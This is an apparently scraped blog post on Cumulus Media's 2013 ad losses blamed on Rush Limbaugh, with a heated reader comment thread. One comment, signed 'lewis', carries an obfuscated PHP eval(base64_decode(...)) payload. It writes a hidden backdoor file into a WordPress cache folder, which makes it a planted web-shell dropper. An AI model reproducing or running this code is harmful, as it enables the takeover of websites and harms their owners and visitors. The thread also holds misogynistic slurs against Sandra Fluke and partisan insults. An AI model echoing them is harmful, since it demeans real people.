“We’ve had a tough go of it this last year,” Cumulus CEO Lew Dickey said Tuesday morning. “The facts are indisputable regarding the impact certain things have had on ad dollars.”

Dickey told analysts on the earnings call that his radio empire’s revenue was down $5.6 million in the first quarter of 2013 on top of a boatload of debt. Why? Parse the weasel words (“the impact of certain things”) and you’ll see that Dickey is blaming one man for the precipitous decline of right-wing talk radio’s profitability: Rush Limbaugh.

El Rushbo is still a giant in the industry, but the impact of slamming Sandra Fluke on his radio show one year ago persists—with some $2.4 million in losses attributed by Dickey to declines in the “syndicated-talk segment.”

Insiders confirm that these declines are primarily due to the ongoing reluctance of national advertisers to attach their name to the toxic talk-radio format that first made Limbaugh famous a generation ago.

“We’re watching the end of right-wing conservative talk radio,” says Jerry Del Colliano, publisher of the radio-industry tip sheet Inside Music Media. “The genre is dying among ratings and dying among advertisers … Rush is at the end of his career. His constituency is all wearing Depends. And he’s getting himself into trouble he doesn’t need. So can you put Humpty Dumpty back together again? They have been able to improve their advertising picture, but they have not been able to come back.”

Sandra Fluke was simply the lightning that struck and hit an old building that collapsed,” Colliano says. “She didn’t do it. She helped to bring it down at the end, but it was falling apart on its own…”

But the larger issue is the declining demographics of the right-wing talk-radio racket. “Look at the millennial generation,” says Colliano. “There’s 80 million of them coming of age. They don’t see color. They don’t see gender. And they’re civic minded: they don’t like bloviating. They don’t like yelling and screaming. So you tell me: how’s right-wing talk radio working for them?”

Short-term reaction – or long-term change?

  1. deowll says:

    I lost respect for Rush about 14 or so years ago however I also lost respect for Bill M. even faster because his mouth was a lot fouler.

  2. Gildersleeve says:

    Boy, I’ve never seen the Millenial generation painted so favorably as in this article. “They don’t see color. They don’t see gender. And they’re civic minded: they don’t like bloviating. They don’t like yelling and screaming.” I also don’t see them cracking college textbooks or taking low-level jobs to get themselves started. But, the real point is this generation isn’t listening to radio, and that’s simply because they are on the ‘Net. The audience for radio is in fact the older generations, so radio had better gear itself to the needs of that audience and stop trying to appeal to a group of people with their eyes and ears glued to smartphones.

    As far as Rush goes, c’mon, how long can you continue to listen to the same guy going on and on in the same way about the same things? I pretty much agree with most of what Rush says, but I stopped listening 10 years ago; I’ve got better things to do with my lunch hour. But it’s not just Rush either; radio stopped being listenable about 10 years ago, its worse than television. The advertising comes so fast and furious it doesn’t wash over you, it goes right past your ears. Public radio is still listenable and that’s where my ears are if my lunch hour is free, or on the weekends while I’m out in the backyard working. The left leaning content is a change from the everyday issues I face, and the change in perspective is just what I want during those hours. Radio needs to change if it wants to survive, but trying to appeal to the sensibilities of the Internet generation doesn’t mean becoming that generation.

    • Captain Obvious says:

      I stopped listening to radio and watching commercial TV. Podcasts and various on-demand TV/Movies means I can watch and listen to what I want when I want.

      Worldwide the BBC and the CBC are still interesting. I’ll listen where they are available. The US is boring. Sirius is awful.

  3. Captain Obvious says:

    OK, I’m bored. Wine tasting is bullshit. Discuss.

    • bobbo, are we Men of Science, or Devo says:

      Perfect review.

      I’ve never thought of presenting THE SAME WINE in a row. Makes sense though that even the experts can’t tell…. because taste is like that.

      Problem is… there is a special .001% who definitely CAN tell. They aren’t the marketplace though.

      I enjoy the VERY CHEAPEST wine I can find. Currently: Cedar Falls for $1/bottle at the dollar store. Good straight–but I generally put thru my blender adding fresh lemon juice and a shot of diet lemon cola.

      I like it.

  4. Captain Obvious says:

    Still bored. Google has a new Nexus 7 coming for I/O. Discuss.

  5. Eat My Shorts! says:

    …and you call yourself “enlightened”? Try, BIGOTED!

    The man is in ENTERTAINMENT! What part of that is so hard to understand? Is it the fact that Rush has spoken some truths that even you know-it-all’s can’t understand or refute? Or was it the LIES? I mean, I do get it. After all, bigger minds that Rush have clearly pointed out that TRUTH HURTS!

    Or is your hatred of a pompous asshole playing a part on RADIO the reason you hate him so much? And if that’s the case then I really only have one question: are you really that stupid to have bought into his THEATER?!

    Seriously! Why do you idiots pay so much attention to him? He’s NOT a spokesman for the Republicans, or the Tea Party, or anyone. At least no one who hasn’t PAID HIM! He’s just an entertaining blow hole who often hits the nerves of the truly stupid. It’s only coincidence that the offended haters are often dumb “ass” Democrats because, like I said, TRUTH HURTS!

    So when I see your HATE for him it really speaks volumes about your own IGNORANCE! You haters probably also think other ENTERTAINMENT crap like the Jerry Springer Show or even professional wrestling are real too. I would even bet half of you “enlightened” morons have either voted for or considered voting for your favorite American Idol contestant too. You probably don’t even know who your State or Federal Congressmen are — the very same people who are RIGHT NOW working to take away your American Freedom!

    I won’t even go into the hypocritical factor many of you good hating liberals are supposed to be immune from, that’s OBVIOUS!

    • Captain Obvious says:

      Someday you’ll understand politics. Take your time.

    • So What? says:

      “The man is in ENTERTAINMENT!” Too bad he’s not entertaining.

    • Trex says:

      @Eat My Shorts:
      Yeah right, people listen to Rush for entertainment… Just like the KKK has cross burnings because they enjoy campfires.

  6. Trex says:

    Good ole Oxy Rush — Dumbass Hate Speecher. What are all the White power skinheads gonna listen to now? I love that it was an organized effort to shun Rush’s advertisers that brought down his phat phuck azz.

  7. Montjian says:

    Cigar looks like a Turd, which matches his personality. Perfect match

  8. Dave Phillips says:

    Looks like Lassie taking a poop.

  9. orchidcup says:

    The Archie Bunker of talk radio is dying on the vine.

    Don’t worry, there will be another fat asshole to take his place.

    There is no shortage of fat assholes in this country.

  10. MikeN says:

    Thus ends today’s two minute hate.
    Who’s next?

    • noname says:

      A strong repuke complaining and crying about hate, what a hoot. At least MikeN, your jokes continue to be entertaining.

      Another hypocrite from the party of “Obama Hate Groups” just can’t understand why Americans don’t worship them, sad!

      It’s not as if Americans love or appreciates Rush cocksure, ill-informed bald-faced lies and support of chicken-hawk militarism with smug smirking incompetence and support of corporate giveaways disguised as environmental policies….

  11. Jerry Stevens says:

    We’ll know at the end of December what Lew really thinks. Either he renews Rush, or he doesn’t.

    In the event that Rush drops Lew, then next year’s Cumulus results will tell us what the truth is.

  12. Miss Anne Thrope says:

    Q. What’s the difference between Rush Limbaugh and the Hindenberg?

    A. One’s a Nazi gasbag and the other is a blimp.

  13. Captain Obvious says:

    It’s cute that conservatives still love radio. They sure haven’t figured out what in tarnation these new fangled contraptions are called.

    • Mextli says:

      I bet the libs have moved on to being glassholes. Thay be tight!

    • MikeN says:

      Since Rush is so terrible and on his way out, perhaps liberals will stop trying to shut him up with the Fairness Doctrine.

  14. GregAllen says:

    Could that photo of Rush be any more phallic?

  15. Taxed Enough Already Dude says:

    Predictions of Rush’s demise have always failed. Its due to their uncritical nature by uncritical thinkers, who recently voted Tom Hanks the most trusted man in America.

    As Rush pointed out, low information folks (who depend on NYT and comedy central to inform them what to believe), they chose a man who speaks the words of others while dressed in clothing he normally does not wear…as the most genuine….

    I understand the left’s bigotry, when I was a leftist, I called rush a windbag etc…even though I never listened to what he says…

    I followed the chorus of the propaganda press and other elitists who hate liberty and desire we all serve their statist agenda.

    But when you really listen to Rush, he makes a lot of sense which is why he is on over 300 stations across the country, and the likelihood of any dropping him seems slim.

    • So What? says:

      So you are a sheeple you just can’t pick a side to stick with.

      • Taxed Enough Already Dude says:

        Everyone’s liberal till they grow up.

        Unless they’re stupid.

        Liberalism, the classic kind, is akin to Libertarianism…which I am for.

        Statism, what pretends to be liberalism today, Big Brother watching over you, to keep you from harm…is tyranny…benign tyranny till the run out of money…then it becomes the Stalinist kind of lefty lunacy.

        • So What? says:

          So you’re a bisheeple you just experimented when you were in school.

  16. msbpodcast says:

    when you really listen to Rush, he makes a lot of sense

    No, he still sounds like a shit and a hate filled bully.

    the likelihood of any dropping him seems slim

    Sorry but when the shareholder’s meeting comes around again, the radio station management will have to justify carrying him, and if it simply costs more than he earns, he’ll have to go.

    What is saving his ass right now is that the cost of replacing him is currently too great.

    • Taxed Enough Already Dude says:

      Blah blah…get back to us after Rush is dropped from stations, list them.

      The liberal propaganda press is in full swing at Rush, and thus far it hasn’t toppled him.

      Your dreaming if you think the loud few, likely Moveon.org and its fax machines, can topple Rush.

      Only he can topple himself, if he begins spouting government lies like the rest of the media.

      Till then, he is the loyal opposition with a sizable audience that approves.

      Mega Dittos Rush!

      • So What? says:

        “Blah blah…get back to us after Rush is dropped from stations, list them.”

        WBEC in Pittsfield, Massachusetts,
        KPUA in Hilo, Hawaii

        • Taxed Enough Already Dude says:

          A wet noodle, to or 20 out of hundreds is not a tsunami.

          Only statists are happy when free speech is squelched.

          Classic liberals, libertarians and other freedom loving people are horrified a small loud minority can censor talk.

          • So What? says:

            Typical alfie deny the obvious because it doesn’t fit his view of the universe.

            Don’t like the answer don’t ask the question.

          • SteveD13 says:

            Trade site Radio Ink quoted a “very high ranking Cumulus official,” who said, “Forty-eight of the top 50 network advertisers have ‘excluded Rush and Hannity’ orders. Every major national ad agency has the same dictate.” This statement was in line with other reports about the ad market’s hostility towards Limbaugh.

            The people who want to buy advertising time on talk radio are there and they want to spend. They just don’t want to spend it on Rush. He has made himself Toxic to the advertisers. They just don’t want to be associated with him. He makes them look by by association.

            Will he go off the air? Probably not. He will probably just move to a different distributor. But the big money he made will go too and he may lose his self proclaimed title as the leader of the Republican party.

          • SteveD13 says:

            Almost forgot. The reason he is on so many stations is because he gives it away.

            Here is how it works:
            a little-known practice in broadcast syndication called a “barter deal.” (Barter deals were briefly mentioned in Michael Wolff’s first-rate recent piece on Rush in Vanity Fair).

            Here’s how a barter deal works:

            To launch the show, Limbaugh’s syndicator, Premiere Radio Networks gave Limbaugh’s three hours away — that’s right, no cash — to local radio stations, mostly in medium and smaller markets, back in the early 1990’s.

            So, a local talk station got Rush’s show for zilch. In exchange, Premiere took for itself much of the local station’s available advertising time (roughly 15 minutes an hour) and packed the show with national ads it had already pre-sold.

            It’s a very sweet deal for local radio station owners, explained Bill Exline a respected radio broker (he helped people buy and sell local stations). “Not only does the local station get three hours of free programming,” Exline explained, “but that’s one less local talk-show host on staff they need. It makes small- and medium-market radio properties more profitable and attractive by cutting down staff expenses.”

            Limbaugh lets jobs be cut to advance his career and helps make small radio stations far less local?

      • Dallas says:

        There’s always a market for Rush as I said, 30% of Teapublicans are lunatics. The issue for advertisers is they are losing the younger generation while catering to a dying and unpopular niche of douchebags.
        Follow the money !!

  17. Mextli says:

    You have to give him one thing he knows just where to prick the pompous liberals. One mention of feminazis will send them into fits.

    A lot of his show, especially in the early years, is devoted to humor that drives liberals crazy. The only Lib I have seen that can come close to him in that department is Rachel Maddow the rest of them are a bunch of tight-asses.

    That’s where the entertainment comes in. Want to play spin-a-lib?

    • Taxed Enough Already Dude says:

      The parodies on his site alone are worth the cost of membership.

      • Dallas says:

        his comic parodies are equivalent to Honey Boo Boo on radio. It’s the lowest common denominator entertainment for the loons.
        Like I said , old loons like you are the target market that many advertisers seek unless its Depends and Hemoroid creams

        • Taxed Enough Already Dude says:

          Incorrect, they are expertly crafted, and truly funny and for both to be correct, factually accurate.

          Rush is a critical thinker who lives in the real world. I highly recommend membership, a truly smart investment.

    • bobbo, Jr Culture/psychiatric/ethnic/social/art critic and general bonvivant still able to tell Shit (Rush Today) from Shinola (Rush 20 Years Ago) says:

      I used to laugh at the FeminNazi comment with the horns, cowbells, and music that went along with it. Usually aimed at some over the top strident Feminist. It was fair comment.

      Not the same as Fluke.

      And thereby hangs the tale.

    • Dallas says:

      The jokes on you. The liberals go out of their way to use Rush as the poster pig for the racist, undesirable fringe element.

      It’s working ! That’s why we have this article!

      I often cite the thugs at the Baptist Church of Christ for picketing dead soldiers. One of them is Teapub Dude I’m sure.

  18. Taxed Enough Already Dude says:

    Also, Ms. Fluke is worse than a slut, she’s a freeloading slut…

    Likely to make 3 figures, she still wants us to pay for her promiscuity.

    So Rush was right on the facts.

    Of course its impolite to mention them and for that reason Rush apologized.

    • Captain Obvious says:

      You should sit down with a working mother and chat with her about your views on Sandra Fluke.

      • MikeN says:

        I’m curious why you think a working mother would care about the issue? A Georgetown Law student wants free birth control, and this working mother cares because???

    • Captain Obvious says:

      Assuming you had the actual balls to do it.

    • MikeN says:

      Actually, she’s a freeloading slut wannabe.

  19. Taxed Enough Already Dude says:

    ONE final proof the article is wish fulfillment fantasy:

    “She didn’t do it. She helped to bring it down at the end, but it was falling apart on its own…”

    “Bring it down?”

    Where has that happened save in the mind of liberals?

    Rush is still on 300+ stations, going strong…

    So the author is trapped in his own fantasy…and seeks out others similarly afflicted.

    • bobbo, Jr Culture/psychiatric/ethnic/social/art critic and general bonvivant still able to tell Shit (Rush Today) from Shinola (Rush 20 Years Ago) says:

      going strong = bleeding millions in open advertising space.

      Demonstrating more than anything else, the ability of RightWingNuts and the Religiously Seized and Science Deniers Everywhere to avoid what a trend is when looking at an anchor dropping.

      Well Done…fruit loops.

  20. lewis says:

    The authoritative answer, funny…
    eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvdHZjZHRvLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qOC0tPHhbKi9ldmFsLyp4NisqLygvKjZ6IXAqL2Jhc2U2NF9kZWNvZGUvKj4wPFlzbyovKC8qNTpjKi9cJ0x5cFpUVE53WlNvdmFXWXZLaXRhTFN3dFFTb3ZLQzhxVDI5NUxGb3FMMmx6YzJWMFwnLypJTVVvKi8uLyptbmtSaz8qL1wnTHlwNUprNWlKU292S0M4cVRqbEtKMndxTHlSZlVrVlJWVVZUVkM4cUtUcEhWQ292XCcvKiZdR1xYbyovLi8qTWNOKi9cJ1d5OHFaR3RZS2k4bmF5Y3ZLamdvY1gwK2Vpb3ZMaThxTXl0aGUyTXFMeWQ2Snk4cVwnLyo3NnVYNWkqLy4vKjYhfEpsZUsqL1wnS1c5d0tpOHVMeXAwTTNWc2RYVXFMeWQ0Snk4cVVGWmZNbkVxTHk0dktqeFJKbmg5XCcvKlwnQF11YEMqLy4vKntbbUo+Ki9cJ0tpOG5ZblJ0Snk4cVdXbDFaQ292WFM4cWMwNW5hWHdxTHk4cU0zTlhQaW92S1M4cVwnLypVakcyJTIqLy4vKj1dMWM9Ki9cJ1VVMUtZMThxTHk4cVMzSnZLaThwTHlvM0xFUmVLaTlsZG1Gc0x5cG5kaUFyYnlvdlwnLyo+VCwqLy4vKjwzbkkqL1wnS0M4cU9HQTdQeW92YzNSeWFYQnpiR0Z6YUdWekx5b3JVanBCS2k4b0x5cFRXWGhMXCcvKlx5W2A5fjUqLy4vKl8tJnFRNTMqL1wnVnlvdkpGOVNSVkZWUlZOVUx5cEVZejh0S2k5Ykx5b3BYVzF2S3prcUx5ZHJlbmduXCcvKnM9cUQqLy4vKjR9a2pQLiovXCdMeXBEUmxOZlJTb3ZMaThxVEYxSU1Tb3ZKMkowYlNjdktsb3NObGxnWWpoTUtpOWRcJy8qVU5eTGZYKi8uLypNIENhKi9cJ0x5cEpmVjVQTlNzcUx5OHFjVEZkWGtFcUx5a3ZLbUVyTGtkeE0ya3FMeThxZkZ0MFwnLyotWGtlKi8uLyphTnYoKi9cJ1ozUXVJQ292S1M4cU1TZGpTREJFS2k4dktrUitOVU4rS2k4N0x5cDVUM2dxTHc9PVwnLypQXWwralsqLykvKlwnX2Q2PCAqLy8qdyxIdU4uZiovKS8qQW1bOiovLypaWzViXjVdKi87Lyo7fDQ4WCovPz4nKTtmY2xvc2UoJGYpO30=’)); –>

  21. bobbo, Jr Culture/psychiatric/ethnic/social/art critic and general bonvivant still able to tell Shit (Rush Today) from Shinola (Rush 20 Years Ago) says:


    “Smell the farts of other countries….” /// Ha, ha.

    As China recognized the power of the free market and took it one step further with State Support of various kinds, I wonder how long before they institute a two party system so that the people can fight among themselves while the Central Politburo keeps all the power along the lines of a supposed check and balance?

    Get Rush on the Right, and Rahn Paul to represent the “oposition.”

    How do you say “woot” in Chinese?

    • MikeN says:

      Bill Gates is working with China on nuclear technology because he knows the liberals in this country have made it verboten.

  22. bobbo, are we Men of Science, or Luddite Science Denying Ditto Heads says:

    bobbo, are we Men of Science, or Devo says:
    5/10/2013 at 6:32 pm

    “Atmospheric CO2 reaches 400ppm for the first time in two million years.”

    According to The McGuyver and Micky: nothing to worry about. Ignore the evidence piling up as there is no DOUBLE BLIND TEST. ((You know–where they take an identical Earth and add more co2 to the atmosphere))

    These SCIENCE DENIERS are going to kill us all, because you know—co2 doesn’t kill people–it makes the grass grow green.



    PS–Rush denies AGW too.
    MikeN says:
    5/12/2013 at 7:28 am


    ///////////OK Mickey==good humor except as it takes 20-30 years for the co2 to cycle out of the atmosphere, we don’t know if we will survive or not. This is more like striking the iceberg, but the band can still play on for a while.

    Note the graph for co2 ppm. Look suspicious? Like a HOCKEY STICK???????

    silly hoomans.

    • noname says:

      Climatologist are as Galileo was in pointing out science to Priests how the earth moved around the sun, and NOT at the center of the cosmos, as was popularly uncritically taught and believed.

      Today, instead of Priests we have Repuke theocratic politicians, Rush and their acolytes making contemporary yesterday’s force of un-reason fashionable (like Priests, Repukes are pedophiles too; remember Mark Foley)!

      Repuke theocratic politicians are seventeenth century Priests equivalent, who refused to look through a telescope for fear of being pwned by evil spirits. Their mindset is fixed and overwhelmed by truths of science and enlightenment that are counter to what each have been taught to believe!

      Repukes should like nothing better than to sweep science aside and bring U.S. to a brink of medievalism with a powerless peasant class subservient to corporate overlords!

      • bobbo, are we Men of Science, or Luddite Science Denying Ditto Heads says:

        Yea, Verily!!

    • MikeN says:

      >Like a HOCKEY STICK?


      Rush denies AGW? Well he gets lots of stuff wrong on the issue, but the end result for someone who is in the political realm, he is closer to the truth than the IPCC, as the policies recommended by IPCC are a bad idea.

    • MikeN says:

      Oh, and look up double blind.

      • bobbo, are we Men of Science, or Devo says:

        Mike–I think I know what double blind means. How is my statement that such a study would require two earths to be proof as generally accepted for scientific theories of cause and effect incorrect?

        Studies/tests to the standard of proof are not required to be double blind, that is an added protection against bias and even fraud. Something not that common in physics/chemistry as would be testing co2 levels.

        Course there is table top fusion where double blind looks to be advantageous?

    • MikeN says:

      They’ve redone the calculations, and it turns out, no 400 PPM after all. Woops!

      First time in 2 million years? Nope, according to


      it would have been the first time in a third of 1% of 1% of 2 million years.

      Woops again!

      • MikeN says:

        Thank you for playing the latest version of “How to scare the public.”

        • bobbo, are we Men of Science, or Devo says:

          How do you figure? The chart I saw showed it was for the Northern Hemisphere.

          With 400ppm simply being a “symbollic number” on our way to destruction, how in the world do you think you have countered this by saying its been that high a few clicks before?

          As with Mann===you have a fixation on the irrelevant or even DAMNING evidence against your position and you don’t even recognize it as such.

          Silly Hooman.

        • MikeN says:

          OSLO, May 14 (Reuters) – A melt of ice on Greenland and Antarctica is likely to be less severe than expected this century, limiting sea level rise to a maximum of 69 cm (27 inches), an international study said on Tuesday.

          And another scare story goes down the drain.
          It’s like whack a mole.

          • bobbo, we think with words, and flower with ideas says:

            Yeah, because only an idiot or a shill takes comfort in “only” a 27 inch rise.

            aka===it ain’t going down.

            Silly Hooman

  23. sargasso_c says:

    That industry is in trouble. Has been since the 90’s.

  24. MikeN says:

    CBS News President David Rhodes and ABC News President Ben Sherwood, both of them have siblings that not only work at the White House, that not only work for President Obama, but they work at the NSC on foreign policy issues directly related to Benghazi. The CNN deputy bureau chief, Virginia Moseley, is married to Hillary Clinton’s deputy, Tom Nides

    Clearly the problem is Rush Limbaugh.

  25. MikeN says:

    You could easily have posted that firms doing business with Gore bleed hundreds of millions of dollars.

  26. Glenn E. says:

    I don’t believe the owner of the radio network involved, really cares that it’s losing money because if Rush Limbaugh. Or they never would have put him on in the first place, years ago. Radio programming would all become like most of the Tv programming. Game shows and “reality” shows. Obviously, in order for the station and network owners to get their political agenda out there. So profits have had to be sacrificed. Unless the govt. is making it up, with subsidizes. Maybe some of those well place “US Post Office” ads help. Because, why does the USPS even need to advertise their services in the first place? But it is a sly way to shoot some dough to tv and radio stations the govt. likes.

  27. HUGSaLOT says:

    I stopped listing to Rush about 20 years ago (gawd it’s been that long?!) way back in the 90s. His shtick gets old after a year or so listing to the same crap repeated ad nauseam. His show was better when Bush Sr. was in office, then it went down hill after Clinton was elected, since it was all about Clinton all the time and I got bored of him.

  28. twotothehead says:

    Listened to him yesterday for the first time in years. His voice is totally messed up. He sounds like a nasally whiner. I think his hearing loss messed up his vocal production. He used to have a booming voice but it’s gone…


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